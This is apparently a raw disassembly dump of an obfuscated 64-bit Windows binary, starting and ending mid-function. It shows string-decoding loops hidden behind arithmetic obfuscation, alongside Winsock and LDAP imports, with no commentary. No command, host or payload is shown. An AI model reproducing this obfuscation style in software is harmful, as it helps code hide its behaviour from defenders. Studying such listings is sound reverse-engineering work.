je 0x14007926b
lea rax, [r9 + 2]
cmp r8, rax
je 0x140079212
cmp r9, rbx
ja 0x14007935e
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400789cd
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x70
add cl, r11b
jmp 0x140078a10
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400791ef
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400791c0
lea rax, [r9 + 5]
cmp r8, rax
je 0x140079187
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400790f1
movzx ecx, r10b
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140078cce
nop dword [rax]
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140078ca5
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140078c7c
lea rax, [r9 + 2]
cmp r8, rax
je 0x140078c53
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140078c2a
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140078a20
lea r8, [r9 + 0x200]
lea r9, [r8 + 0xa]
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140079339
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140078afe
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140078ae1
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140078bd5
lea r8, [r9 + 0x41]
lea r9, [r8 + 6]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140078ba0
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140078b67
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x140078b43
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140078b1e
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x28]
jmp 0x140078a20
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
jmp 0x140078a10
lea rdx, [rbx + r13]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140078935
movabs rdx, 0x1867b48569b88880
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x80
jmp 0x140079232
movabs rcx, 0x453f6e12ef1683a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
jmp 0x140079084
movabs rdx, 0xdcf3f1bf2aa8060
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140078922
movabs rcx, 0x3aa6f8a978087b80
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
movzx eax, byte [rbp + rbx + 0xb38]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140078922
movabs rdx, 0x19a2a6793e4b75d0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
cmp r9, 4
jb 0x140079046
movabs rdx, 0x5acad9a24c252e0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x40]
jmp 0x140079235
movabs rdx, 0x1add986d12de6320
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140079110
movabs rdx, 0x47b551fa983c5e40
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140079084
movabs rcx, 0x104523039bd05b00
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
inc r9
dec rbx
inc rbx
jmp 0x140078922
movabs rdx, 0x748d0b881d9a5960
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140079235
lea rdx, [r9 + 4]
cmp r8, rdx
jae 0x140078d6b
lea rdx, [rbx + r14]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
lea rax, [r9 + r8]
cmp rax, 1
je 0x1400790c3
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x140078ebc
movabs rdx, 0x8d6ecc36896f3190
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
cmp r8, 8
jae 0x140079059
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x140078f8d
movabs rcx, 0xf07bc2c736a642a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x60
add cl, r11b
jmp 0x140078bf6
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140078dae
movabs rdx, 0xc619ed215a6e2220
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xb38]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140078922
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140078de8
movabs rcx, 0x99423393d5102700
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140078922
lea rax, [rdx + 1]
cmp r8, rax
jne 0x140078e29
movabs rcx, 0x34fa4b0f534628a0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140078922
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140078e55
movabs rdx, 0xd0b2628ad17c2a40
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x14007907e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140078e89
movabs rcx, 0x6c6a7a064fb22be0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
dec rbx
inc rbx
jmp 0x140078922
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140078cf3
movabs rdx, 0xa3daa8fd4c1e2f20
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140079232
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140078eea
movabs rdx, 0x2926e3b207a53330
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x50
jmp 0x140079232
inc rax
cmp r8, rax
jne 0x140078f1d
movabs rcx, 0x609712a904113670
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x10
dec rbx
inc rbx
jmp 0x140078922
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140078f4b
movabs rdx, 0xfc4f2a2482473810
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x70
jmp 0x140079081
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140078d32
movabs rcx, 0x6e79f8df9554030
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
movzx eax, byte [rbp + rbx + 0xb38]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140078922
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140078fd0
movabs rdx, 0x8c33da42b4dc4440
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xb38]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140078922
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140079012
movabs rdx, 0x5f5c20b52f7e4920
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140078922
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140078bf6
movabs rcx, 0x32846727aa204e00
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
dec rbx
inc rbx
jmp 0x140078922
mov byte [rbp + rbx + 0xb38], cl
movzx r10d, cl
inc rbx
jmp 0x140078922
movabs rdx, 0xa164c515a2f85480
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rbx + 0xb38]
sub r10b, al
add r10b, 0x80
add r10b, r11b
add r10b, dl
movabs rcx, 0xef40d0d362135550
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x30
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0xb38], cl
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140078922
movabs rdx, 0x3d1cdc91212e5620
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0xb38]
add r10b, r11b
add r10b, dl
jmp 0x140079110
movabs rcx, 0xa5159af120b11c70
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
movabs rdx, 0x8af8e84ee04956f0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xb38], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0xd8d4f40c9f6457c0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x40
add cl, r11b
mov byte [rbp + rbx + 0xb38], cl
inc r8
sub rbx, r8
dec rbx
movzx eax, byte [rbp + rbx + 0xb38]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140078922
movabs rdx, 0x95d8375a27b1ad0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140078922
movabs rdx, 0x36353d0327d915f0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140078922
movabs rdx, 0xfec50e0c2b6d12b0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140079232
movabs rdx, 0xc754df152f010f70
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x10
add r10b, dl
movabs rdx, 0x5388b957e3dd53b0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0xb38], cl
inc r9
dec rbx
inc rbx
jmp 0x140078922
movabs rcx, 0x8fe4b01e32950c30
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x50
dec rbx
inc rbx
jmp 0x140078922
movabs rdx, 0x58748127362908f0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140078922
movabs rcx, 0xbcbc69abb7f30750
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x30
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140078922
movabs rcx, 0xe99423393d510270
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x10
movzx eax, byte [rbp + rbx + 0xb38]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140078922
movabs rcx, 0xd79a0218cad16a70
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x10
jmp 0x140078910
lea rcx, [rbp + 0x16496f8]
jmp 0x140079377
lea rcx, [rbp + 0x7f97c8]
jmp 0x140079377
lea rcx, [rbp + 0xb38]
mov rdx, rdi
call fcn.140035b50
lea rdx, [0x140236e50]
lea rcx, [rbp + 0x4c0]
call fcn.140002660
mov rdx, rax
mov rcx, qword [0x14023cdc0]
call fcn.1400697f0
mov rcx, rax
call fcn.14006abf0
mov rdi, rax
mov byte [rbp + 0xb60], 0x5a
mov byte [rbp + 0xb61], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0xb62], Ordinal_45
mov byte [rbp + 0xb63], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0xb64], __WSAFDIsSet
mov byte [rbp + 0xb65], Ordinal_79
mov byte [rbp + 0xb66], Ordinal_45
mov byte [rbp + 0xb67], gethostname
mov byte [rbp + 0xb68], gethostname
mov byte [rbp + 0xb69], gethostname
mov byte [rbp + 0xb6a], 0xac
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb6b], xmm0
mov qword [rbp + 0xb7b], rax
movabs rsi, 0x16ee000cbf49361d
movabs r13, 0x3e0b5555f0ba57e9
movabs r14, 0xb02755a9b52dbb83
movabs r12, 0x3410aafdd3b90bb1
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r9, qword [0x14023d108]
mov r8, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14007a137
movzx r11d, byte [rbp + rbx + 0xb60]
mov rdx, r11
nop dword [rax + rax]
cmp r9, rbx
ja 0x14007a12e
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14007949c
lea rcx, [rbx + r13]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
sub r10b, 0x5f
jmp 0x1400794c0
je 0x14007a0a8
lea rax, [r8 + 3]
cmp r9, rax
je 0x14007a043
lea rax, [r8 + 5]
cmp r9, rax
je 0x14007a018
nop dword [rax]
cmp r8, rbx
ja 0x14007a125
lea rax, [r8 + 0x200]
cmp r9, rax
jae 0x1400794f1
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x35
add r10b, dl
jmp 0x140079520
lea rax, [r8 + 1]
cmp r9, rax
je 0x140079fc4
lea rax, [r8 + 3]
cmp r9, rax
je 0x140079f8f
lea rax, [r8 + 5]
cmp r9, rax
je 0x140079ef7
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x140079b9f
nop dword [rax]
lea rax, [r8 + 0x80]
cmp r9, rax
je 0x140079b76
lea rax, [r8 + 0xa]
cmp r9, rax
je 0x140079b44
lea rax, [r8 + 0x20]
cmp r9, rax
je 0x140079b1a
lea rax, [r8 + 4]
cmp r9, rax
je 0x140079af6
lea rax, [r8 + 6]
cmp r9, rax
je 0x140079acd
lea rax, [r8 + 0x5a]
cmp r9, rax
je 0x140079a94
lea rax, [r8 + 1]
cmp r9, rax
je 0x140079a70
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x140079a4c
lea rax, [r8 + 0x61]
cmp r9, rax
je 0x140079a12
lea rax, [r8 + 0x42]
cmp r9, rax
je 0x140079530
lea r9, [r8 + 8]
lea r8, [r9 + 0x80]
lea rax, [r8 + 0x2a]
cmp r9, rax
jb 0x14007a101
lea rax, [r8 + 0x3e8]
cmp r9, rax
jb 0x14007a0dc
lea rax, [r8 + 0x1000]
cmp r9, rax
jb 0x140079722
lea rax, [r8 + 0x40]
cmp r9, rax
jb 0x140079703
lea rax, [r8 + 0x64]
cmp r9, rax
jb 0x1400796e4
lea rax, [r8 + 9]
cmp r9, rax
jb 0x1400799ad
lea rax, [r8 + 0x10]
cmp r9, rax
jb 0x140079950
lea rax, [r8 + 3]
cmp r9, rax
jb 0x140079901
lea rax, [r8 + 5]
cmp r9, rax
jb 0x1400798d2
lea rax, [r8 + 0x41]
cmp r9, rax
jb 0x140079530
lea r9, [r8 + 0x80]
lea r8, [r9 + 0x2a]
lea rax, [r8 + 0xa]
cmp r9, rax
ja 0x14007989d
lea rax, [r8 + 0x20]
cmp r9, rax
ja 0x140079879
lea rax, [r8 + 4]
cmp r9, rax
ja 0x140079850
lea rax, [r8 + 6]
cmp r9, rax
ja 0x140079817
lea rax, [r8 + 0x5a]
cmp r9, rax
ja 0x1400797f3
lea rax, [r8 + 1]
cmp r9, rax
ja 0x1400797ce
lea rax, [r8 + 0x400]
cmp r9, rax
ja 0x14007979f
lea rax, [r8 + 0x28]
cmp r9, rax
ja 0x14007976d
lea rax, [r8 + 0x42]
cmp r9, rax
ja 0x140079749
lea rax, [r8 + 8]
cmp r9, rax
ja 0x140079530
lea r9, [r8 + 0x2a]
lea r8, [r9 + 0xa]
jmp 0x140079530
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x6b
add r10b, dl
jmp 0x140079520
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x29
add r10b, dl
jmp 0x1400794c0
movabs rdx, 0xb7fa0051f2445bdf
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0x19
add r10b, dl
jmp 0x140079465
movabs rcx, 0xb7700065fa49b0e8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x58
jmp 0x140079fe3
movabs rdx, 0x3b5955ba18d50116
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r8
dec rbx
inc rbx
jmp 0x140079452
movabs rdx, 0xbf42ab0e37605144
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140079452
movabs rdx, 0x432c006255eba172
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1e
jmp 0x14007a063
movabs rcx, 0xc71555b67476f1a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
jmp 0x14007a090
movabs rdx, 0x4afeab0a930241ce
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140079452
movabs rdx, 0xcee8005eb18d91fc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140079f16
movabs rcx, 0x52d155b2d018e22a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x26
jmp 0x140079f46
movabs rcx, 0xd6baab06eea43258
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
movzx eax, byte [rbp + rbx + 0xb60]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140079452
movabs rcx, 0xa08200593b007acb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x73
mov byte [rbp + rbx + 0xb60], r10b
inc rbx
jmp 0x140079452
movabs rcx, 0x246b55ad598bcaf9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x31
cmp r8, 1
jb 0x1400798f1
movabs rcx, 0xb884003dea3f06d6
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_send
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x140079fe3
movabs rcx, 0xa854ab0178171b27
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x11
cmp r9, 0x200
jae 0x140079e99
lea rax, [r8 + 1]
cmp r9, rax
jbe 0x140079d8d
movabs rcx, 0xdfa155871bb028a2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6e
jmp 0x140079920
movabs rcx, 0x2c3e005596a26b55
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x53
lea rax, [r8 + r9]
cmp rax, 9
je 0x140079eca
lea rax, [r8 + 0x200]
cmp r9, rax
jbe 0x140079cfb
movabs rdx, 0xc8b3557a5c66f285
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x5d
add r10b, dl
jmp 0x14007996f
movabs rdx, 0x8994004c7bb744ae
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xb60]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140079452
movabs rcx, 0xd7d55a09a4294dc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 4
jmp 0x140079f46
movabs rcx, 0x9166aaf4b8cde50a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x46
jmp 0x140079f16
movabs rdx, 0x15500048d7593538
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140079452
movabs rdx, 0x9939559cf5e48566
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007a090
movabs rcx, 0x1d22aaf1146fd594
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xc
jmp 0x14007a066
movabs rcx, 0xa10c004532fb25c2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4e
dec rbx
inc rbx
jmp 0x140079452
movabs rdx, 0x24f55599518675f0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r8
dec rbx
inc rbx
jmp 0x140079452
movabs rdx, 0xa8deaaed7011c61e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140079fe3
lea rax, [r8 + 0x200]
cmp r9, rax
jae 0x140079bc6
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5f
jmp 0x1400799cc
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140079c09
movabs rdx, 0x2ddc00197e926c3a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xb60]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140079452
inc rax
cmp r9, rax
jne 0x140079c35
movabs rcx, 0xa9f2aac560071c0c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x54
jmp 0x140079f46
lea rax, [r8 + 2]
cmp r9, rax
jne 0x140079c66
movabs rdx, 0x26095571417bcbde
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x12
add r10b, dl
jmp 0x140079f16
lea rax, [r8 + 4]
cmp r9, rax
jne 0x140079c98
movabs rdx, 0x1e36aac904652b82
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007a090
lea rax, [r8 + 5]
cmp r9, rax
jne 0x140079cc5
movabs rcx, 0x9a4d5574e5d9db54
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4c
jmp 0x14007a066
lea rax, [r8 + 7]
cmp r9, rax
jne 0x1400799cc
movabs rdx, 0xe9155788a37eaca
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140079fe3
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140079d28
movabs rcx, 0x44ca00263ddba257
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x61
jmp 0x140079fe3
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140079d5c
movabs rcx, 0x3cf7557e00c501fb
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x23
dec rbx
inc rbx
jmp 0x140079452
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14007996f
movabs rcx, 0x2d52002d8697c143
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2b
jmp 0x140079f16
jne 0x140079dc4
movabs rcx, 0x5bb80032fd24d874
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2c
movzx eax, byte [rbp + rbx + 0xb60]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140079452
inc rax
cmp r9, rax
jne 0x140079df5
movabs rdx, 0xd7ceaadede998846
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140079f46
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140079e27
movabs rdx, 0x53e5558ac00e3818
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140079f16
lea rax, [r8 + 2]
cmp r9, rax
jne 0x140079e5f
movabs rdx, 0x4440003a45e0f760
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140079452
lea rax, [r8 + 7]
cmp r9, rax
jne 0x140079920
movabs rcx, 0xc056aae62755a732
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5e
inc r8
dec rbx
inc rbx
jmp 0x140079452
movabs rdx, 0x349aaae9cbb3b6a8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0xb60]
add r10b, dl
add r10b, r11b
jmp 0x14007a066
movabs rdx, 0xb0b15595ad28667a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, byte [rbp + rbx + 0xb60]
sub r10b, 0x56
add r10b, dl
jmp 0x140079f16
movabs rcx, 0x7b8caabfe97a04db
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 3
movabs rcx, 0xeebcaaeb9de2be63
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x4b
add cl, r11b
movzx eax, cl
